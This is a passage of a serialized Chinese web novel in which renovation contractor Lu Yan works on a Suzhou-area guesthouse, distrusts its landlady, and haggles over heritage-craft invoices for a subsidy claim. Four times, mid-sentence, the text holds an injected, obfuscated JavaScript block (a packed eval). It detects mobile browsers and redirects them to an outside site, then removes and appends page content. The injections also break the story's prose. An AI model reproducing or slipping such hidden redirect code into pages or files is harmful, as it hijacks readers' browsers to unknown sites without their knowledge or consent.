双人床,简陋桌椅,和今天拆的那间房一样的格局,冯小军坐在椅上显得有些局促: “老板娘也太不地道了,哪有这么做事的。” 寸头男人摸了根烟,烟是早上跟着去村里,找赵老汉要的板正货。 初次见面,对方看起来很大方,他就把那半包烟揣兜里了。 此时呼出一口烟雾,去床头柜旁边拿酒壶,给自己倒上满满一杯。 见张野没说话,冯小军浑身不自在: “张哥,你怎么跟没事人一样。” “我就是一听指挥的,我能有什么事?” 他抿了一口,怡然自乐。 这幅安然模样,叫人看了心生鄙夷。 即使是气性温和的冯小军,经历种种事情以后,也觉得张野和陆师傅差远了——不论是人品还是个人能力......甚至人格魅力。 “我们好歹是一伙的呀!”他从椅子上站起来,怕隔壁听了去,压低了声音,“陆哥为我们发了那么大的火,咱就什么都不做?” 张野抬了抬眼,看着面上有几分愠怒的徒弟,仿佛瞧见了方才的陆砚。 “我做了呀,第一时间就跟上去了,对方一个不对劲我就准备干他丫的了。” 说道这,冯小军脸上一烧,兀的想到,原来自己才是什么都没做的人。 可不能怪他,他那会完全愣住了。 张师傅......也没由头说,那对情侣就在隔壁......想了一圈,只得愤怒的把矛头指向老板娘: “哪有这么做事的,沈姐太不地道了!” “昨不还说,沈姐每天帮忙换床单,人不错嘛?” “一码归一码!” “滋啦!” 又抿了一口酒,张野越喝越开心—— 嘿,读了书的,说话办事还是有水平些。 ...... 晚上九点来钟,陆砚下了楼,看见沈语棠一个人在前台守门。 天渐冷,小姑娘穿身月白夹袄吹着风,还要练习缂丝,这一天天,练习和帮忙干活,得有十个小时了吧? 虽然对老板娘看不顺眼,连带着对沈语棠也有了些抵触毕竟......对方帮忙拦了自己...... 俗话说,一码归一码,对那俩住客的情绪何必迁怒他人呢? 且不论施工还做不做,日子总得接着往下走,自己个大男人,扭捏成麻花,不像样! 顿了顿,调整表情后,上前打招呼: “语棠。” 她抬头回望,眼里有些沉,也有些意外。 陆砚编织了个笑脸: “我来迟了,今天沈老师还给我讲课吗?” “......陆哥。” “不是吧?还没到专属房间里,就要收费啦?” 她垂着头,声音近乎断掉: “不收费的。” 端详那个熟悉的姿态,陆砚突然意识到,跟老板娘的对话,她也尽数听在耳、记在心。 或许还不止。 这沉得抬不起来的头...... 从小到大,大人早已忘掉的锐利辞藻,不知道漏了多少,扎在小姑娘心里—— 一个孩子而已,睡一觉就好了,谁会郑重对待呢? 在无人援助的环境里,随着时间流逝,伤人碎渣和肉长到一起,长成了如今的沈语棠。 没人在意,直至自己也不甚在意。 然后忽略着忽略着,就习惯了、忘了、开始自己也搞不懂自己。 不敢对视的眼睛,夹袄袖口,蜷紧的手指,沈语棠坐在织机前,仿佛整个人都缩一起,把自己锁在一个无人知晓的空间。 他从来知道,冲动的宿命是后悔,却不知道,这后悔竟不来自道理,仅是一个不曾抬头、不曾显露的眼神,就让自己的恻隐之心阵痛。 这次是恻隐的同情,下次是什么? 所以冲动的代价究竟还有多少种? 究竟还要冲动多少回,才能领悟冲动,克制冲动? “语棠,我今天做得不对。我不该那么说沈姐的。” 大概道歉实在没诚意,她摇了摇头,又摇了摇头。 嘴角抻了抻,似乎想笑,却不知怎的,红了眼眶。 以沈语棠自己的标准来说,这显得不礼貌,也不应该给别人添负担,于是偏过头—— 一截白净的脖颈赫然出现,在灯光下,陆砚眼前。 色泽像玉,和沈秀娥不同,它没有沾染世俗的泥点,清清白白立于这间屋子,把男人衬得肮脏透了。 此刻,理智终于回归—— 既然答应老板娘牺牲一星期时间,就应该预料到挫 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“秀娥姐,进来坐,夜钩开始冷了喏!” 名叫阿琴的女人有传统上的朴素,也有传统上的好心,所以沈秀娥总爱和她处,时间久了,关系就如传统街坊邻居那样好了。 女人在围裙上揩了揩手,“不用不用,我就趁着空,过来看看,打个照面就回去的。” 阿琴在里,沈秀娥在外,两人隔着门,嘴里说着不痛不痒的家常话。 所谓家常话便是‘吃了吗、吃得好不好、今天怎么样’—— ‘没有重点、没有话题、想一出是一出,可以没有终点、也可以随时打招呼走人’的话。 一阵风吹过,阿琴说:“秀娥姐,要不进来坐会吧。” 沈秀娥却连忙告退,仿佛里面有什么需要避嫌的事物所在: “不了不了,我就路过,先回了啊,改天给你带定胜糕来吃。” 两人的对话散在夜里,一如无数个没有营养的对话那样散在夜里。 回去的路上,她看着脚下的光亮,又看了看田埂边的将要光秃的桑树—— 地面的光,哪里是什么月光呢? 分明是路灯。 ...... 自己并没有立场,去安慰一个二十岁的小姑娘。 直白了说,此时的言语只会释放关于性的信号,而非真的抚慰。 “语棠,我想了想,二楼的缂丝房还是蛮难改造的,我来这是要赚钱的你知道吧?接下来正好施工不赶,以后你有空的话,继续给我讲讲你学的手艺吧,这对我们大家都有帮助。” “陆哥,我没有怨你。” 她说的很清楚,比一般女孩在这个时候更坚定,更能挤出气力。 “什么怨不怨的?我在聊赚钱啊、工作啊,要是你让我赚不到钱了,我才会怨你呢!” 他凶狠地说,一如某投资人威胁某电车CEO那样。 “......知道啦,陆哥,你来坐。” 沈语棠在面前起身,她眼里已经有了讲课时的认真,不知是如何调整的。 但此刻男人却多了些保持距离的想法。 “我再搬个板凳,你也坐,慢慢说。” 第二十七章 家常话 再睡五分钟:陆砚!你知道你做了什么吗!那个情况,你挂电话栽赃我? 再睡五分钟:你完蛋了,以后你出事的时候发现我在现场,别问为什么! 墨斗先生:我做什么了? 墨斗先生:挂电话不是提前跟你们说了吗...... 对方没回,十有**是没醒。 早上起床,沈语棠抱着衣篓进来收拾,陆砚则慢吞吞在洗手间洗漱。 冲动的清算来了—— 一觉醒来才知道昨天的自己有多蠢,蠢到相信明天的自己可以轻松面对被搅得一团乱的人际关系。 既然不能终止施工,那为什么把人得罪**呢...... 好在有责任这根线勒着他,迫使自己克服困难往前走。 最后一次深呼吸,和沈语棠一道出门,前后脚下楼。 灶房的白气透过门帘飘来,跟往日一样的气息让心定了几分。 男人喉结动了动,不想沈语棠先开了口: “姆妈,早餐做好没,陆哥下来了。” “快了快了——”沈秀娥的声音从里面传出来:“陆师傅,再等一会啊,面条帮你过个凉水了有劲道些!” 陆砚忙不迭回应,难得局促起来,不知该站一边候着,还是去大厅坐着等。 “你饿不饿呀,面条下多了,给你多盛点啊。” “好的,好的。” “葱花好像没有了,肉糊腻了可以放点醋哈。” “好,没关系的。” 事情,似乎,被日常的惯性扳平了。 这一刻,男人终于知道家常话的意义所在—— 不管人物关系再紧绷、话题多难找,也可以聊这些千篇一律、甚至听起来毫无营养的事情。 有时候它所传递的情绪和态度,是任何文绉绉的字眼也无法比拟的。 随着年龄渐长,成年人之间好像再没有庄重的分界线,来界定井水和河水的位置,有的只是一句家常,让日常的伟力将昨日种种抹去,将事情扳回正轨。 陆砚吃着满满一碗荤料的头汤面,再没有一丝端着架子的理由。 “沈姐......” “怎么了?” 老板娘端着茶水和一个瓷碗走出来,将水和面分别递给陆砚和沈语棠。 盯着对面那碗面,当着沈语棠的面,陆砚歉意赔笑: “有空你帮忙看着些,客人走了就跟我说一声......” “好嘞,没问题的呀!” ...... 师俭堂的后厅,日光从窗棂漏进来,在灰扑扑的木地板投下细碎的格纹。 三张木桌沿墙摆着,桌案上铺着绷好的素绢,三个年轻女子各坐一案,手里的竹梭子在绢面上穿梭,‘沙沙’的像蚕吐司的轻响—— 这是师俭堂的缂丝学徒,都在赶年底的考核作品,谁能过了阿婆的眼,就能拿到她亲手题的‘师俭堂传艺’木牌。 这块牌,不仅是阿婆认得,镇上任何一家绣庄递都认得,是正儿八经的敲门砖。 沈语棠坐在最靠窗的位置,手里的牡丹团扇快收尾了。 绢面上,半开的牡丹张着瓣,她捏着竹梭,用深粉的丝线勾最后一片花瓣的边。 线是她自己染的,从藕荷到绯红,七个色阶的丝线在绢上排开,一针‘戗色’过去,花瓣的明暗就活了过来。 花心处,用了极细的金箔线勾了蕊,竹梭穿过经丝,金箔闪着细光,却一点不抢眼,衬得花瓣更显温润。 花瓣用色、针脚疏密,皆有所考究。 “还差多少?” 老人的声音从身后挤出来。 穿着藏青的大襟布衫,袖口磨得发亮,手里拄着根枣红色拐杖。 沈语棠抬头:“阿婆,差最后几针蕊。” 阿婆凑过来看,抬手推了推老花镜,指尖在绢面上点了点—— 抚过花瓣边缘那圈浅褐的勾线,那是用最细的‘游针’腾上去的,针脚比头发丝还密,远看像天生的阴影。 “年底考核了,留在这里吧。” 她没有避讳另外两个学生,给出承诺:“待在师俭堂,不会亏着你的。” 沈语棠手里的竹梭猛地顿了一下,面对手艺传承,几乎是立刻摇头,嘴唇动了动,却只说: “阿婆......我......” 后面的话卡在喉咙里。 她不能说家里的民宿还等着她搭手,不能说娘总在夜里翻来覆去算账,那些话太轻,压不住对方眼里的期许。 老人看着她,眼角的皱纹挤成两道深沟: “傻丫头,傻丫头。” 她没再追问,转身往门口走。 沈语棠望着驼了的背,肩胛骨在布衫上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170266|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶出的两个圆钝的弧度,想到了沈秀娥。 老人的脚步慢,每一步都要先把拐杖拄稳了,再挪腿,也让她想到了沈秀娥的晚年。 接着,女孩低下头,竹梭重新动起来,金箔线穿过绢面,‘沙沙’声里,心中的堵很快散了去。 她知道,有些事情是既定的命运,不管再大的理由,也必须把事情做了,家里才能松口气,家好些了,沈秀娥才能好些,她心里才能松口气。 于是捏紧了竹梭,针脚比刚才更密了些。 ...... 赵老汉在南浦浜村见惯了外地人,甚至对方一迈腿、一张眼,就能准确分辨是东南海北哪边来的。 然而就是这双识人如炬的眼睛,昨天被一个外乡人打了眼,疼了半宿。 “小兄弟,你那个朋友,今天怎么不来了?” 陆砚心里意外,没想到对方和张野还挺投缘啊,第一次见面就送了半包烟过去,如今还紧着念叨。 “赵叔,您要是想着,我下次肯定把他喊上。” “诶,诶——,”他忙摆手,面上腼腆,“每个人都有每个人的忙头,男人嘛,事业为重,事业为重......” 有时候,重复用词便是强调。 请问,此时赵老汉为什么要强调‘事业为重’? 陆砚认为,这是替他人着想的体现,从这份体现中,更能看出赵老汉对张野的欣赏,但囿于没有中间人,只能遗憾的编织理由安慰思念的心绪。 “赵叔,你放心,下次肯定带他来。” 赵老五发现,这个外乡人的心比他哥哥赵老四还黑,明明暗示得那么明显了,不至于要和自己拧着来啊? 等等! 或许另有隐情也说不准...... 上次自己大气,下次,是不是就轮到他们大气了? 想到此处,赵老汉恍然大悟——不愧是上海来的贵客,做事就是体贴、有腔调。 “好说,好说,你们年轻人啊,越来越有本事了......” 王师傅的家到了。 看情况是刚到,门口的雷克萨斯司机都还没来得及开走。 “王师傅!上海来的——” “王师傅,是我,姓陆的那个来看您来了!” 陆砚拦住赵老汉的高帽子,因为,这不利于接下来要谈的事。 第二十八章 你还不懂行 “王师傅,我是奔着非遗工业品采购发票来的,您肯定晓得,申请补贴的事。” 王师傅‘欸’了声,擦着眼镜,呵呵笑着:“知道,见得太多了。” “我的甲方是村边上开民宿的,叫沈秀娥,她引荐我过来的......” 聊价格,在经济活动中是至关重要的步骤,即使是商讨顶着非遗名头的手工艺品,陆砚的目光也丝毫没在金钱之外的地方逗留—— 这一步,直接决定了此行装修的利润,而利润,是三人从上海到苏州的主要目的。 “清楚,肯定公道价,让你们过审。” 陆砚喉结动了动,所谓‘民宿+非遗’的装修方案,落到实处便是相应比例的工艺品、文化展示区、传承人合作...... 这些条文早烂在他心里。 并且相信,王师傅从政策推广以后,更是了解得不能再了解了。 下一秒,对方平淡把手一摊,给了报价—— 五万。 赵老汉已经记不得见过多少次这样的场景,每每重温,都情不自禁咽口水。 五万呐,赶上家里大半年的收入了,自己媳妇编整整两年的竹筐都不见得能卖五万,可王师傅只需要张张口、动动手,一个月就能敲出来...... 甚至,是不是他亲手敲的都不好说! 陆砚眼皮跳了下,也是头一回看到这样做生意的: 明明来选工艺品,结果模样、数量统统没挑,对方直接把价给了出来。 这似乎和砂石店老板的做法大相径庭——给总价、里面的弯弯绕绕不掰扯开来,完全看不清楚。 如果不懂行也就算了,巧的是,砂石他懂一点,木头工艺品更是懂一点。 他就是学木作的,太知道这五万块花在哪了...... 非是他不尊重手艺,只是...... 不用核对便知,价格下不来,此行利润会降至冰点。 “王师傅......” 从谈判角度来讲,此事要慢慢磨,不该提早全面冲突。 可人家哪有那么多空天天跟你谈判? 陆砚硬着头皮说:“其实,我也是学木作的,懂点行。” ...... “王先生,你并不懂行,所以才找到我,不是吗?” “不是的顾律师,我虚长你几岁,托个大,姑且算社会经验丰富。这个事情我认为它从道理上就讲不通你知道吧?怎么会有这么不合理的事情发生呢?那人真是脸都不要了,他以后不做人啦?以后在社会上抬得起头?我就不信,他被我线下捉到了还那么硬气......” 顾南乔撑着额头,目光有些失焦。 她忽然体会到赚钱不易,尽管这个道理十分浅薄,但此时的想法就是这样: 靠着律师的职业,似乎养不活自己。 按理说,他们所里的每个案件,最低最低是五千块起接,即使一个月吃下三五个小案子,勒勒紧,也可以把日子过下去。 谁知到她手里,一个客户就能卡那么久呢? 眼看要到月底了,即使这个月没上满,但案子显然到月底也做不完啊! 到时候工资条一看,比脸都干净! “王先生、王先生,容我打断一下,我们先明确诉求是什么,再......” “诉求?我的诉求就是让他不要做人了,我要让他哭着道歉,写保证书挂家里。真是的,一想我就来气,怎么会有这样的......” ......她是有点不耐烦,主要是,效率太低了。 遇到倚老卖老的中年油腻男,怎么办?该怎么聊? 下次自己化个显老的妆? 顾南乔吸了口气,敲了敲桌子:“够了,你的时间到了,我还有别的客户,要出去一趟。” 男人说得正起性,突然一愣:“你是我的律师,我付了钱的......你跟我讲你要去见别的客户?” “是的王先生。我的时间,比一般心理医生贵多了,待会我把问题发给你,麻烦您下次把事情想清楚了再来。” “我想清楚了呀......我这把年纪了怎么可能还不清楚......” ...... “你真的懂行?” 面对入行四十年的老前辈发问,堪堪八年经验的陆砚有些底气不足: “懂、一些。” “懂的话,就不该还价。” 王师傅笑眯眯地把话聊死,陆砚不断梳理事情脉络,脑子里走过各式各样的买卖方案,试图另起炉灶,再谈降价。 然而旁边的赵老汉插了句嘴: “上海的朋友,沈秀娥的民宿我们知道的呀,这个政策补贴下来,你们共计要倒赚五万块钱,还不知足啊?大伙都这个价,抢着买的......不是王师傅限着卖,哪排得上你啊!” 补贴又不是落他手里......等等! 什么赚五万,老板娘不是说二十万返三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170267|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成,六万块吗? ......倒赚五万? 陆砚脑子炸开一道闪电,沈秀娥平日里勤快的身影和偶尔热情、偶尔精明,但不管如何,总落着股市侩气质的形象跃然而上—— 他曾以为自己足够精明,可签合同的时候把自己的底价交了出去;他同情人家穷得揭不开锅,结果对方第二天就揽着客人,为多赚一千来块拖耗自己一个星期...... 如今,似乎还有事情,被蒙在了鼓里。 一边是母女俩垂着头,‘卡里还剩十三万,三千块是下个月学费,一万块应急,我们只有十一万七’,一边是赵老汉扯着嗓子‘倒赚五万块’。 他,相信人性,相信赵老汉会因为眼馋这笔钱而说实话。 “这......什么政策,对老百姓也太照顾了......” 王师傅重新戴上眼镜前,扯着眼角皱纹递了个笑脸,一如既往的叫人捉摸不透。 随即,转身去忙桌上的活,轻飘飘吐了句: “看来你还不是太懂,过些天再来?” ...... 倘若大锤八十的话,那么自己一伙人总计敲250下,便把此行的利润敲完了。 从王师傅那出来后,沈秀娥的消息正好发来,翻译翻译便是: 客人走了,快来敲地板。 话说老板娘还真是厉害,昨晚下面闹那么大动静,居然还能把两伙客人留下—— 总之二楼四间房住满了,也丝毫不影响三楼的拆除工作。 这波不得不佩服沈总工程规划师的精密设计,就是不知道,除了每天的三餐外,她还有没有别的安抚手段,来修正自己失衡的内心呢? 哦对了,那三餐还是自己掏了钱的,踏马的! “嘣咚!嘣咚!” 一锤敲碎一片砖,敲一锤,便换个地接着敲。 时间有限,改了流程。 昨天他们商量着,到了腻子那步,即使有人也可以做。 于是先趁着人不在,把地砖全给卸了。 “陆哥,等腻子刷完了,要不要上油漆?” “不用。” 他曾经和沈秀娥没少沟通,早商量好了,二三楼装修的时候,他们就挤一挤,住一楼。 大量制造有毒气体的步骤当然要省略。 那会还洋洋得意呢,觉得省了油漆费,还省了工时。 此刻二百十五锤快敲完了,五万块的报价砍不动,自己一伙人的利润也快完了。 第二十九章 之前和之后 等了几天,阿乐攥着手机在吧台转圈,屏幕亮了又暗,始终没等来置顶信息的跳动。 他当然清楚,这个阶段,十天半月联系一次都算正常。 可思之如狂,又怎能挨得住那么久呢? 这事,总得有个出口才行。 本着谁参与谁负责的心态,手指在通讯录里划到‘陈禹’。 他深吸口气拨通,听筒里刚传来‘喂’的一声,就抢着开口: “喂,兄弟。她不打给我,你也不打给我?” “昨天不是刚来过?” 陈禹的声音混着杂音,听着漫不经心。 “......咳咳,禹哥,重心放前面就好,现在就是这么个情况......看看你那边有没有什么需要法律咨询的事情,我拿来用用?” “事情都需要法律咨询了,还能让你拿去用用?” 忽略对面讽刺的口吻,阿乐不死心: “你仔细想想,我就不信你就一点毛病没有!” “踏马的,你真是疯了,兄弟是当消耗品用的?” 陈禹听了顿时跳脚,冲对面打了个招呼,起身去茶室外面接电话。 几步路程,他越想越觉得对面昏了头: “你脑子真是瓦特了,还法律咨询,我现在正雄心壮志着呢,你不知道?” “关心,主要是关心你......” “......我跟顾南乔也不熟啊,你不会找砚哥去问?那毕竟是他的关系。” 在对面看不到的地方,阿乐转着酒杯的同时不忘撇了撇嘴——他能忘记顾南乔第一次出现在小破吉他的那晚? 他当然知道顾南乔是谁的关系,可这有用吗? 谁会嫌弃一个玫瑰色的可能呢? 男人可太了解男人了 “哦、我是猪,我不知道?我跟砚哥哥的亲密程度,需要你插一嘴?” “我没录音,你就是舔他,他也听不到。” “......哎不是,我是觉得,没有哪个男的愿意把那么优秀一女人介绍出去,顾南乔是你好朋友的话......你没结婚以前,能不起占有心?” 电话那头静了几秒,传来陈禹低低的一句:“合理的。” “是吧!”男人来了劲,像捡了便宜似的:“他没站出来反对,都算大度了,还特么贴脸上去问人家......我几个脸也不够这么用啊。” “现在知道脸有用了?前几年干什么去了?” “我没记错的话,前几年应该是你们俩不要脸比较多,尤其是他,来一回吐一回,后半场还要睡我的床......” 说着,阿乐的思绪回到了两年前的雨夜,一个如自己当年的落魄年轻人走进这家店里,上来就嚷着,‘老板,来把破吉他,我踏马砸的就是吉他’...... 听筒里传来打火机‘咔哒’一声,接着是陈禹吐烟的轻响,他的声音沉了些: “关系这么久了,可以聊的。” 这个口吻的陈禹,说话无疑是有分量的。 阿乐转着酒杯的手指停了。 盯着空酒杯,心里的戒备忽然松了些,之前的想法,开始摇摇欲坠。 “禹哥,那您先帮我捎几瓶酒给砚哥带过去呗......” ...... 之前的想法,此时无疑全推倒重来。 陆砚本身带着诚意和妥协而来,非但没有仗着特殊要求加价,还在底价上让了步。 如今倒好,一棍一甜枣,对方吃定了他垫资以后跑不掉,拿着当傻子耍。 真的,早上的时候还觉得,沈姐其实人还不错,偶尔冒出的大度着实让自己惭愧,结果呢? 结果人家至始至终确实表里如一,直奔利益来的。 可能早上之所以忍着怨、缓和关系,估计也是怕他跑了,利益落空了。 “陆师傅,久等了吧,今天做的牛肉,红烧的,给你们解解馋。” 老板娘围着围裙,端着砂锅,风一般飘来。 沈语棠腾开地方便她端菜的时候,陆砚能瞧清楚女人脸上的每道褶子,褶子上的每道纹路都含着算计。 “沈姐,还是你地道,谢谢招待!” 女人笑得更开心了,声音轻快:“语棠,快给哥哥们盛饭,他们今天可累着了!” 沈语棠应了一声,便如往常那样拿过碗,诚意满满的将米饭垒得殷实。 她..... 陆砚不知道该用怎样的心情去面对这个小姑娘,但是张野全然不受影响: “语棠妹子,大伙吃得香,原来你才是老板娘的独门秘方!” 这波语言艺术竟然达到了自己在学生会时的功力,冯小军肃然起敬,给张野倒酒的时候压低声音: “张哥厉害,要是口水沫掉到菜里,红烧的估计要变成糖醋的。” 闻言他也小声回道:“都是技术活!你看语棠妹子是不是脸红了?多跟哥学着点,保准你娶得到老婆!” 没有理会当场咕涌一起的两人,沈语棠给几人盛好饭便坐了回去,眼见自己的母亲退回了门帘,她轻声问: “陆哥,今天顺利吗?” “还行吧,你呢?” 把话抛回去的同时,陆砚看着身边那张白净的脸,心情好了些。 “我没什么的......这半个月就可以毕业了。” 毕业? 对了,缂丝好像就是当地的非遗,那么非遗合伙人的事,是不是早就找到人了? “等装修好了,你的老师会来你们这讲课吗?” “嗯,会的,她答应了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176287|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 还真是衔接得点水不漏,翻修、出师、补贴,三管齐下,同时到位。 啧啧,跟着政策走果然能致富啊。 陆砚对着她亲和笑着,心里觉得,张野有句话说得确实到位——原来你才是老板娘的独门秘方啊! ...... 晚上,房间,陆砚总结着: 商业行为不存在什么坑与不坑,不过是自己实力不济罢了。 现在料子已经定了,该认的账得认,该履行的合约得履行。 只是任人宰割是万万不可能的。 不就是心机嘛,自己非较这个劲,谁又能比谁聪明到哪去? 他咽不下这口气,后续一定要想办法,从过程中看能不能扣出些利润来...... 哎—— 叹了口气,楼下沈语棠还在前台等着讲课,经此一事后,突然就有了些抵触。 比起她,如今的苏棠属实更让人舒心些——尽管有时候他们会面上斗嘴,可里子是暖的,放心的。 想到此处,他打开手机,早上的聊天记录赫然在目—— 再睡五分钟:打了招呼?招呼是谁?招呼全往我身上打了! 再睡五分钟:你怎么能这样,我一片真心,你转头就走,真的很伤人! 墨斗先生:(恭喜发财,大吉大利) (已接收) 再睡五分钟:陆砚,我觉得有时候我还是太任性了,我应该多体谅你的,下次见面给你带点心(比心.jpg) 墨斗先生:你讲话的方式让我很陌生。 再睡五分钟:(语音)哥哥,人家只是想多关心关心你。 看着,依然能回味出浓浓的情绪价值。 仅仅五十元就有如此待遇,他都不敢想,发两百乃至更多,会收获什么...... 不好,什么时候邪恶的资本主义思想被植入大脑了?快快清掉! 摇摇头,点开视频通话。 秒接。 “喂!苏棠!做什么呢!” 画面中,她趴在床上,脸颊被双手托着,离镜头不远不近,恰好填满大半个画面。 此时眉眼弯弯,声音甜得人心暖和: “喂陆砚,我刚好想打给你呢!” 不知怎的,听见对方的调子,烦恼便如海市蜃楼消散了。 他也趴在床上,单手托着下巴: “这话中听,您是有事打给我吗?” “有啊,你等等喔——” 随即,一对波浪从镜头前晃过,白而丰盈的大腿如流星划走。 他还没从画面冲击中反映过来,便听见苏棠扯着嗓子喊:“妈妈,你快过来!我介绍个朋友给你认识!” 吓得陆砚手一滑,挂断了通话......巧的是,短时间之内,手机设为静音了呢! 第三十章 造次了,沈老师 在刚刚得知老洋房项目破产的时候,陈禹曾说过这样一句话: 男人没了金钱,就像抽掉了脊梁的软体动物,直不起腰、撑不住事。 陆砚听进去了,如今深以为然。 阴天,醒来后久久没有起床。 一个沮丧的想法围绕在脑海里: 反正干活也要等人出去,起来做什么呢?即使赶着把活干了,一个半月到手的钱还不如电子厂上班,又有什么奔头呢? 原以为两万块购入工艺品足以。 毕竟就点缀一下增加点特色即可,哪曾想,政策补贴下,人家的发票变得那么抢手...... 王师傅的开价他能理解,五万块价格虽贵,但你能补贴十万,我赚点怎么了? 买到就是赚到——这就是底气所在。 就好比你作为跑腿小哥参与外卖大战,顾客商家都利好,独独你的单价下降了,假使单量上去也还行,可陆砚他们就做一单。 这一单做得,让人多没干劲啊! “笃笃!” 得,有干劲的人来了。 此时,他连起床都感觉是为了别人而起。 “咔哒!” “陆哥,早上好。” “早上好。” 沈语棠抱着衣篓进来,陆砚便顺势钻到洗浴室里待着。 清水拍打脸颊后,情绪也被水洗了去,日常的惯性以其惊人的伟力将世界调整至往日状态—— 里面的人开始思考项目省钱大计,外面的人尽心尽力拾掇房间整洁。 他们都很专心。 ...... 早上下了雨,中午的阳光又若无其事地跑出来轮班。 老洋房前院的玫瑰长势在转好,这得益于未来百年花店的继承人、昨天斥重金向自家家长买了足足十五斤营养土铺在上面。 苏棠也实在是没法子了,尽管那个男人在24小时之内狠狠挂断了两次通话、对其造成了不可磨灭的心灵伤害和严重的家庭矛盾...... 但是人家毕竟给发了红包耶! 自己也不是个太高不可攀的人,偶尔,也要漏点心意出去嘛...... 上次是点外卖请喝奶茶,这次是五十块安慰费,以后的事,谁说得准呢? 午饭后,赶在下午写论文和开始学习考公知识前,先散步过来邀个功吧。 苏棠叉腰看着欣欣向荣的花卉,正要打开摄像头拍照时,眼神突然一凝—— 少了一朵! 那朵粉色的,其中一片花瓣格外粉,甚至颜色开始偏向桃红色、昨天还在最右边的玫瑰呢? 凑近两步,目光向下...... “这,这这,谁摘了我的花啊!” ...... 骡子前面吊着根胡萝卜的时候,拉磨贼有干劲;对于三个男人来说,每日三餐,就是向前挺进的动力。 即使是知情最多、情绪最重的陆砚,在吃饭的时候也会暂时性遗忘那些不愉快的事情,选择专注眼前。 而喜上加喜的是,那对情侣开始昼出夜伏,自那天以后就和几人没碰过面。 因此,晚饭吃着更香了。 “小伙子们,跟你们坐一块,我饭量都大些了。” 人与人当然不能一概而论,那天情绪的**、挂着摄像机突然入住的中年游客,此时坐一个桌上吃得酣畅,起身去盛今晚的第三碗饭。 张野对上眼,佩服道:“老哥谦虚了,依我看,你的能力不用靠他人激发。” “哪里哪里,我没想到累了一天以后还可以碰上小兄弟你这样势均力敌的人才。” 一天的时间足够发生很多事情: 今天下了雨、又放了晴,他们顺利敲完了第二间房,上了四面墙的腻子,陆砚测完尺码,正打算这几天联系瓷砖地板之类的建材。 当然,从节省成本的角度来讲,拖货、贴砖肯定是自己做,乃至是否选择二手砖,他都在脑子里过了一遍。 可一个人的大脑又哪里有如此丰富的知识储备、几天之内想出绝佳的省钱妙招来呢。 给沈语棠把最后一块鸭肉端过来,决定放松大脑的陆砚问道: “老哥,你在这边还有工作?不是来拍风景的?” 筷子落空的中年人扣了扣脑袋,先不好意思地看向小姑娘,然后说: “来工作的。村里请我过来拍摄推广,说需要知名度,把生意做出去。” “不是非遗吗,还需要知名度?” 冯小军点头,表示和张野同问。 在他的印象里,非遗文化的牌子应该是响当当的招牌,还愁没生意做? 以其名头标签之高端、高贵,应该勾勾手指,就会有大把企业来买单、赞助才对。 中年男人放下筷子好笑道: “都混成非遗了,能在自由市场立足吗?” 此言虽不严谨,却也能说明一些问题—— 国家保护着的东西,为什么不能自我保护呢? 现实的成分是复杂的,这个事一时半会说不清楚,总之众人没有往那个方向多聊。 吃完饭,倒了杯水,他接着说: “不过村里确实有水平,家家户户都会些技术,当然,王师傅手艺最好,是有谱系传承的。” 谱系传承......对于需要名号的手艺人来说确实重要...... 突然,灵感一闪,陆砚想到了沈语棠的老师。 都是顶着名号的手艺人,她跟王师傅应该差不多吧? “语棠!你老师那边能不能开我们要的发票?” 即使男人灼热的眼神投过来,沈语棠也保持着一如既往的状态,身子转过来,眼睛看着他的下巴: “嗯,可以的。” 不待喜悦涌出来,她又磕磕绊绊说:“就是,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176288|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,有点贵。” “......有多贵?” “一万起步。” 陆砚对张野、冯小军和摄像师大哥一一扫过去,只觉得往事如烟云消散,所谓生活、所谓烦恼,呵,不过如此。 有道是书山有径勤为路,皇天不负有心人。 五万秒变一万,这困局,还是叫他破了! “陆哥......咱们买不起几件。” “几件?” 陆砚才反应过来,沈语棠说的是,随便一件要一万起步。 偏偏这申报不仅要求价格要达标,连装饰品数量也要达标,这、这,还不如王师傅那买呢! 